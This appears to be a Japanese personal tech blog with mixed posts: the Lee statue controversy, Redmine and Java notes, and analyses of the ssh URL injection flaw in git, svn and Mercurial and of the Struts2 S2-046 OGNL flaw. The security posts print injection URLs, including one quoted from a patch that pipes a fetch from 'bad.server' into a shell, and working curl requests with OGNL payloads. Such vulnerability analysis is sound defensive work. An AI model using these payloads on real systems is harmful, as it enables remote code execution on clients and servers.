てきとうなメモ

本の感想とか技術メモとか

リー将軍銅像撤去問題

町山智浩 バージニア州白人至上主義者集会の衝突事件を語る

痛ましい事件ではあるが、リー将軍銅像を撤去してしまうのかという部分が気になった。

wikipediaだと以下で少しまとまっている。

Robert Edward Lee Sculpture - Wikipedia

  • 副市長のWes Bellamyが銅像撤去とLee Parkという公園の名前の変更を市議会に要求
  • NAACP(全米黒人地位向上協会)のRick Turnerがリー将軍をテロリストと呼んだり、銅像は人種差別主義のサブリミナル効果を持っていると指摘
    • これは燃料投下感があるな
  • 市議会はブルーリボン委員会という特別委員会を作りそこで議論させる。
  • 2016年11月初めの時点では委員会は6対3で銅像を残す意見だった
  • 2016年11月28日、委員会は7対2で撤去に投票し、最終レポートとした。
    • 11月初めの時点との差が気になる。
  • 2017年2月、市議会は3対2で撤去に投票した。
    • 市議会のメンバーは5人なのか。
  • 撤去を止めるために様々な原告が裁判を起こす
  • 2017年4月、市議会で再度投票し、2月と同様に3対2で撤去に決まる。
  • 2017年5月、裁判所により、撤去が一時差し止められる。
  • そして、今回の事件

という流れ。市議会が決めたのであればしょうがないが、3対2で反対意見も強そうなのでもう一度議論するのも良いのではと思う。

この流れの前提の話として、こういった南軍側のモニュメントを撤去しようという運動がある。

Removal of Confederate monuments and memorials - Wikipedia

The monuments and memorials have become increasingly controversial due to differing interpretations of their meaning and importance. Historians have found that Confederate monuments were not built primarily as historical markers, but were instead intended to glorify, sanitize, and commemorate the Confederacy

歴史的なものではなく、連合国(南軍側)を美化するものだから撤去すべきだと。

Most Confederate monuments were built in periods of racial conflict, such as when Jim Crow laws were being introduced in the late 19th century and the start of the 20th century or during the Civil Rights Movement of the 1950s and 1960s.[5][6][7][8] New Confederate monuments continued to be proposed in recent years, and some have been built.

このロジックはどうなのかなと思うが。モニュメントが立てられている時期が人種間の衝突が大きかった時期と一致するので、差別を美化するために建てられたのだというロジックなのだが、年代との相関関係→因果関係に論理の飛躍があるし、年代ごとに、それらしい人種差別の事件を結びつけることができるんじゃないかな。

リー将軍奴隷制に反対だったのではという話があるが、そうではないという指摘も多いらしい。

Robert E. Lee - Wikipedia

In May 1858, Lee wrote to his son Rooney, "I have had some trouble with some of the people. Reuben, Parks & Edward, in the beginning of the previous week, rebelled against my authority—refused to obey my orders, & said they were as free as I was, etc., etc.—I succeeded in capturing them & lodging them in jail. They resisted till overpowered & called upon the other people to rescue them."[52] Less than two months after they were sent to the Alexandria jail, Lee decided to remove these three men and three female house slaves from Arlington, and sent them under lock and key to the slave-trader William Overton Winston in Richmond, who was instructed to keep them in jail until he could find "good & responsible" slaveholders to work them until the end of the five-year period

南北戦争の前の話ではあるが、歯向かった奴隷を刑務所に入れたり、奴隷商人に渡したりしたらしい。

また、

However, despite his stated opinions, Lee's troops under his command were allowed to raid settlements during major operations like the 1863 invasion of Pennsylvania to capture free blacks for enslavement.

リー将軍の軍は居留地を襲って黒人を奴隷化することを許可されていたらしい。

しかし、まだまだ奴隷制が色濃かった時代だしな。

じゃあ北軍はどうなのかと思って調べてみるに、リンカーンを白人至上主義者と指摘している歴史家もいるそうな。

Abraham Lincoln - Wikipedia

By the late 1960s, some African American intellectuals led by Lerone Bennett Jr., rejected Lincoln's role as the Great Emancipator.[363][364] Bennett won wide attention when he called Lincoln a white supremacist in 1968.[365] He noted that Lincoln used ethnic slurs and told jokes that ridiculed blacks. Bennett argued that Lincoln opposed social equality, and proposed sending freed slaves to another country.

そのうちリンカーン銅像撤去運動とかも出てくるかもしれんな。

gitなどのSCMのssh URL処理の脆弱性

Compromise On Checkout - Vulnerabilities in SCM Tools · The Recurity Lablog

ssh://-oProxyCommand=gnome-calculator/wat

というようなssh URLを処理しようとして、

ssh <ホスト名> ...

のような形式で渡すと

ssh -oProxyCommand=gnome-calculator ...

となって、gnome-calculatorが実行されてしまうという話。

このssh URLを直接gitコマンドの引数として渡すのであればすぐ気付くだろうが、このURLはgit-lfsの.lfsconfigやgit submoduleの.gitmodulesに記述
することができるので、URLを用いてだけではなく、1コミットがこのような内容を含んでいれば攻撃できてしまう。

とはいえ、lfsやsubmoduleを設定するコミットは大きな変更なので、通常はしっかりチェックされるだろうけど。

もともと、2004年ぐらいにMacSafariのURLハンドラの脆弱性として似たようなものはあったそうな。

Argument injection vulnerability in the SSH URI handler for Safari on Mac OS 10.3.3 and earlier allows remote attackers to (1) execute arbitrary code via the ProxyCommand option or (2) conduct port forwarding via the -R option.

で、調べてみると、gitだけではなくsvnmercurialにも同様の脆弱性があったそうな。

it could be confirmed that SVN was affected in the worst way: SVN follows HTTP 301 redirects to svn+ssh:// URLs. As a result, an innocent looking HTTP URL can be used to trigger a Command Execution with a 301 redirect.

svnの場合はhttp→sshへのリダイレクトも通してしまうようなので、これは怖いな。

修正はgitやsvnmercurialは"-"で始まるホスト名を弾くというもの。

gitは2.1.14.1で修正。

* A "ssh://..." URL can result in a "ssh" command line with a
hostname that begins with a dash "-", which would cause the "ssh"
command to instead (mis)treat it as an option. This is now
prevented by forbidding such a hostname (which should not impact
any real-world usage).

* Similarly, when GIT_PROXY_COMMAND is configured, the command is
run with host and port that are parsed out from "ssh://..." URL;
a poorly written GIT_PROXY_COMMAND could be tricked into treating
a string that begins with a dash "-" as an option. This is now
prevented by forbidding such a hostname and port number (again,
which should not impact any real-world usage).

* In the same spirit, a repository name that begins with a dash "-"
is also forbidden now.

このコミットとかかな。looks_like_command_line_optionで"-"始まりのホスト名をチェックし弾くようにしている。

"-"始まりのホスト名を弾いても問題ないのだっけと思ったが、RFC 952において、ホスト名は"-"で始まってはならないとしている。

<hname> ::= <name>*["."<name>]
<name>  ::= <let>[*[<let-or-digit-or-hyphen>]<let-or-digit>]

hnameがホスト名。最初はlet(letter)でないといけない。

svn1.9.7で修正。

This is a stable security release of the Apache Subversion open source
version control system. It fixes one security issue:

CVE-2017-9800:
Arbitrary code execution on clients through malicious svn+ssh URLs in
svn:externals and svn:sync-from-url
http://subversion.apache.org/security/CVE-2017-9800-advisory.txt

ここにパッチが記述されている。is_valid_hostinfoで"-"始まりのホスト名を弾いている。

mercurial4.3.1で修正されている。

1. Mercurial 4.3 / 4.3.1 (2017-08-10)
....
1.3. CVE-2017-1000116

Mercurial was not sanitizing hostnames passed to ssh, allowing shell injection attacks on clients by specifying a hostname starting with -oProxyCommand. This is also present in Git (CVE-2017-1000117) and Subversion (CVE-2017-9800), so please patch those tools as well if you have them installed.

このファイルのchecksafesshでチェックされている。

def checksafessh(path):
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    """
    path = urlreq.unquote(path)
    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
        raise error.Abort(_('potentially unsafe url: %r') %
                          (path,))

git-lfs2.1.1で修正されている。

Git LFS v2.1.1 ships with bug fixes and a security patch fixing a remote code
execution vulnerability exploitable by setting a SSH remote via your
repository's .lfsconfig to contain the string "-oProxyCommand". This
vulnerability is only exploitable if an attacker has write access to your
repository, or you clone a repository with a .lfsconfig file containing that
string.

このプルリクかな。

他のソフトの修正とは異なり、"-"を弾かずに"--"を追加して、オプションの引数は終了したとsshクライアントに明示するようにしている。

history api メモ

いろいろ勘違いしていたのでメモ。

  • 履歴は現在の状態を含み、一番上に現在の状態を置く。
    • ので、新規タブを開いてページをロードすると、window.history.lengthは1になる
      • chromeの場合は新規タブを開いた時点でページがロードされたことになっているようで、そこから別ページをロードするとwindow.history.lengthは2になる。
  • pushStateは引数の状態を履歴の一番上に追加する。
  • replaceStateは履歴の一番上(現在の状態)を引数の状態に置き換える。
  • pushStateとreplaceStateの引き数のtitleはブラウザの履歴の部分に利用されるとは限らない
    • chrome,firefox,IE,Edgeはdocument.titleを書き換えないとダメ。Safariは引数のtitleを利用していた。
  • popstateイベントは同じドキュメント内でしか発生しない。別のサイトや別のページから戻った場合は発生しない。

systemdのバグ

systemdで複数の不具合が確認される | スラド IT

多くのLinuxディストリビューションで採用されているシステム管理ソフトウェア「systemd」で、複数の不具合が確認されています。1つは、ユーザー名を指定する個所で数字で始まるユーザー名を指定すると、そのユーザーの代わりに「root」が指定されたことになってしまうというもの

ということで結構批判されている。

議論は以下でされていて、結局修正は却下されたようだ。

systemd can't handle the process previlege that belongs to user name startswith number, such as 0day · Issue #6237 · systemd/systemd · GitHub

CentOS7のような主要なディストリビューションでも0dayのような名前は許容されているし、POSIXでも許容されているので許可してもいいのではという気がするが、仕様と言われてしまうとまあそうかなと思う。普通に0dayというユーザがいた場合はそのユーザで起動できなくなりかわいそうではあるが、system serviceの場合は通常apacheとかmysqlとかシステムユーザを設定するし、user serviceの場合はrootしか指定できないので、そこまで問題にはならなそう。

セキュリティ的に攻撃できるかという点では、こちらの人が指摘するように、system serviceのunit設定ファイルを修正する必要があるので、root権限がそもそも必要で、システム管理者がミスするように仕向けるか、unit設定ファイルを修正するようなwebサービスが攻撃されるかもぐらいな話なので、これも可能性はかなり低そうだな。

まあ、最終的にはOSSなんで使いたくなければ使わなければ良いだけな気がするが。

Javaのコネクションプールの接続チェック

コネクションプールからコネクションを取得すると、接続が切れているコネクションを再利用してしまうことがある。
これを防ぐためにコネクションプール側で何かやっていないかなとちょっと調べた。

c3p0は

  • testConnectionOnCheckin - プールから取得する時に接続チェックするかどうか
  • testConnectionOnCheckout - プールに返す時に接続チェックするかどうか
  • preferedTestQuery - 接続チェックする時にどのようなSQL文を実行するか。指定していないと、Connection.isValid→Connection.getMetadata().getTables(...)を呼ぶ
  • connectionTesterClassName - 接続チェックするConnectionTesterインターフェースを実装したクラスを指定する

でいろいろ指定できる。

HikariCPは

  • connectionTestQuery - 接続チェックする時にどのようなSQL文を実行するか。

で指定できる。connectionTestQueryが指定されていないとConnection.isValidを実行する。

逆にHibernateがデフォルトで実装しているプールなどは、こういうことはやってくれない。

JDBC4のConnection.isValidは便利そうなんだが、JDBCドライバ側があまり実装していないらしいので、テスト用のクエリを設定するのが主流っぽいな。

redmineのバージョンアップ

redmineが2系でそろそろ古いかなと思って、バージョンアップしてみたのでメモ。
あと、ubuntu14.04だとrubyが1.9系で微妙なので、それもアップデートした。

構成

webサーバ: apache httpd
appサーバ: thin

というもの

バックアップ

redmineディレクトリは念のため、まるっとバックアップしておく。

$ cp -rp /path/to/redmine /path/to/backup/

DBのダンプ

$ mysqldump -u redmine -p | gzip -c > /path/to/backup/redmine.backup.gz

rubyのインストー

$ wget https://cache.ruby-lang.org/pub/ruby/2.3/ruby-2.3.4.tar.gz
$ tar zxvf ruby-2.3.4.tar.gz
$ cd ruby-2.3.4
$ ./configure --disable-install-doc --prefix=/path/to/ruby2.3.4
$ make
$ sudo make install

bundlerのインストー

$ sudo /path/to/ruby2.3.4/bin/gem install bundler

redmineのインストー

redmineをダウンロードして解凍

$ rm -fr  /path/to/redmine
$ wget http://www.redmine.org/releases/redmine-3.3.3.tar.gz
$ tar zxvf redmine-3.3.3.tar.gz
$ sudo mv redmine-3.3.3 /path/to/redmine

旧環境から設定をコピー

$ sudo cp /path/to/backup/redmine/config/database.yml /path/to/redmine/config/
$ sudo cp /path/to/backup/redmine/config/configuration.yml /path/to/redmine/config/

ディレクトリの所有者をredmineに変更

$ chown -R redmine:redmine /path/to/redmine


依存モジュールのインストール。
まず、アプリケーションサーバにthinを利用しているのでGemfileにthinを追加

gem 'thin'

その後bundle install

$ cd /path/to/redmine
$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle install --path vendor/bundle --without development test rmagick

セキュリティトークンの作成

$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake generate_secret_token

DBの更新

$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake db:migrate RAILS_ENV=production

セッションやキャッシュの削除

$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake tmp:cache:clear tmp:sessions:clear RAILS_ENV=production

thinの設定を作成。/path/to/redmine/config/thin.ymlに保存する。

chdir: /path/to/redmine
environment: production
address: 127.0.0.1
port: 3000
timeout: 30
log: log/thin.log
pid: tmp/pids/thin.pid
max_conns: 1024
max_persistent_conns: 512
require: []
wait: 30
daemonize: true
prefix: /redmine
user: redmine
group: redmine

thinの起動

$ cd /path/to/redmine
$ sudo -H -u redmine RAILS_RELATIVE_URL_ROOT=/redmine /path/to/ruby2.3.4/bin/bundle exec thin start -C /path/to/redmine/config/thin.yml

RAILS_RELATIVE_URL_ROOTはredmineをサブurl(/redmine)でアクセスしているのでそうしている。

apache側は3000ポートにproxyしているだけ

<Location /redmine>
  ProxyPass http://localhost:3000/redmine
  ProxyPassReverse http://localhost:3000/redmine
</Location>


あとはデーモン化するとか残っているけどとりあえずここまで。

Struts2の脆弱性(S2-046)

S2-045の話は既に書いたけども、S2-046は書いていなかったのでちょっと書く。

↓のやつ。

Struts2-046: A new vector - Hewlett Packard Enterprise Community

この脆弱性は、以下の3つの条件に合う場合、マルチパートのアイテムのファイル名に記述されたOGNL式が実行される。

  • multipartのparserとしてJakartaStreamMultipartRequestを利用している場合
  • Content-Lengthを制限値(デフォルトは2MB)より大きく設定する
  • マルチパートのアイテムのContent-Dispositionヘッダのファイル名の部分にOGNL式を入れる

実際にこの脆弱性を確認してみる。

脆弱性のあるバージョンのstruts(以下では2.3.11を利用した)を含んだサンプルアプリstruts2-blankに対して、JakartaStreamMultipartRequestを利用するように設定し、HPの例をそのまま使ってcurlコマンドで実行する。

curl -H 'Content-Length: 10000000' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample.txtの中身は

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ヘッダ部分の改行コードは\r\nにする必要があるので注意。

これを実行すると、マルチパートリクエストをparseするため、JakaraStreamMultipartRequest.parseが実行される。

public void parse(HttpServletRequest request, String saveDir)
        throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}

parseの中で以下のprocessUploadが呼ばれる。

    private void processUpload(HttpServletRequest request, String saveDir)
            throws Exception {

        // Sanity check that the request is a multi-part/form-data request.
        if (ServletFileUpload.isMultipartContent(request)) {

            // Sanity check on request size.
            boolean requestSizePermitted = isRequestSizePermitted(request);

isRequestSizePermittedでContentLengthが制限値を超えていないかチェックされ、その真偽値がrequestSizePermittedに入る。

そして、各マルチパートのアイテムを1つずつ処理していく。

FileItemIterator i = servletFileUpload.getItemIterator(request);

// Iterate the file items
while (i.hasNext()) {
    try {
        FileItemStream itemStream = i.next();

        // If the file item stream is a form field, delegate to the
        // field item stream handler
        if (itemStream.isFormField()) {
             processFileItemStreamAsFormField(itemStream);
        }

        // Delegate the file item stream for a file field to the
        // file item stream handler, but delegation is skipped
        // if the requestSizePermitted check failed based on the
        // complete content-size of the request.
        else {

            // prevent processing file field item if request size not allowed.
            // also warn user in the logs.
            if (!requestSizePermitted) {
                addFileSkippedError(itemStream.getName(), request);
                LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                continue;
            }

            processFileItemStreamAsFileField(itemStream, saveDir);
        }
        ...

ファイルアップロードの場合はrequestSizePermittedがチェックされており、これがfalseの場合はaddFileSkippedErrorが呼ばれる。ここで、itemStream.getName()はCotent-Dispositionのファイル名を返すので、OGNL式を含むものになる。

addFileSkippedErrorは以下のようなメソッドで"Skipped file <ファイル名>; request size limit exceeded."という例外を作成し、buildErrorMessageを呼ぶ。

private void addFileSkippedError(String fileName, HttpServletRequest request) {
    String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
    FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
    String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
    if (!errors.contains(message))
        errors.add(message);
}

buildErrorMessageは以下のメソッドで、エラーメッセージを引数にLocalizedTextUtil.findTextを呼び出し、これがS2-045でもあったようにOGNL式を実行してしまう。

private String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.message.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled())
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

アップロードファイルのサイズの制限を超える→「〇〇というファイルが制限値を超えた」という例外を作成(実は〇〇にOGNLが含まれている)→ローカライズメソッドを呼ぶ→OGNL実行という流れである。

さらに、S2-046には以下で指摘されている若干異なる攻撃経路がある。

GitHub - pwntester/S2-046-PoC: S2-046-PoC

こちらはContent-Lengthは2KBを超えている必要はないので以下のコマンドで良い。

$ curl -v -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample2.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample2.txtは先程のsample.txtを少し修正する。

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}<\0>b"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ファイル名にOGNL式を入れるのは同じだが、\0のバイトを含むようにする。

今回はrequestSizePermittedがtrueになるので、processFileItemStreamAsFileFieldに進む。

private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) {
    // Skip file uploads that don't have a file name - meaning that no file was selected.
    if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) {
        LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName());
        return;
    }

itemStream.getName()でアイテムのファイル名を取得しているのだが、その中でファイル名のチェックが実施される。

この部分はcommons-fileuploadのorg.apache.commons.fileupload.util.Streams.checkFileNameにある。

public static String checkFileName(String fileName) {
    if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
        // pFileName.replace("\u0000", "\\0")
        final StringBuilder sb = new StringBuilder();
        for (int i = 0;  i < fileName.length();  i++) {
            char c = fileName.charAt(i);
            switch (c) {
                case 0:
                    sb.append("\\0");
                    break;
                default:
                    sb.append(c);
                    break;
            }
        }
        throw new InvalidFileNameException(fileName,
                "Invalid file name: " + sb);
    }
    return fileName;
}

このチェックは\0が含まれるかどうかをチェックし、"\\0"に置き換えて"invalid file name: <ファイル名>"というメッセージの例外を投げる。

この例外は、一番最初のJakartaStreamMultipartRequest.parseの中のtry catchでキャッチされ、buildErrorMessageに投げられ、LocalizedTextUtil.findTextに投げるのでファイル名に含まれるOGNLが実行される。

こっちは、Content-Dispositionのファイル名に\0を含む→commons-fileuploadが「ファイル名がおかしい: <ファイル名>」という例外を投げる→struts2が例外をキャッチして、ローカライズメソッドを呼ぶ→ファイル名に含まれるOGNLが実行されるという流れ。

どちらも、S2-045の修正ではローカライズする時に該当するキーが存在しない場合はデフォルトのメッセージをローカライズするようなコードになっているので、S2-045の修正を入れていれば大丈夫。しかし、WAFでの対応にしているとチェックするヘッダが異なるので、ルールを変えていかないといけない。

まあ、WAFに頼るよりかは最新版にした方が良いかな。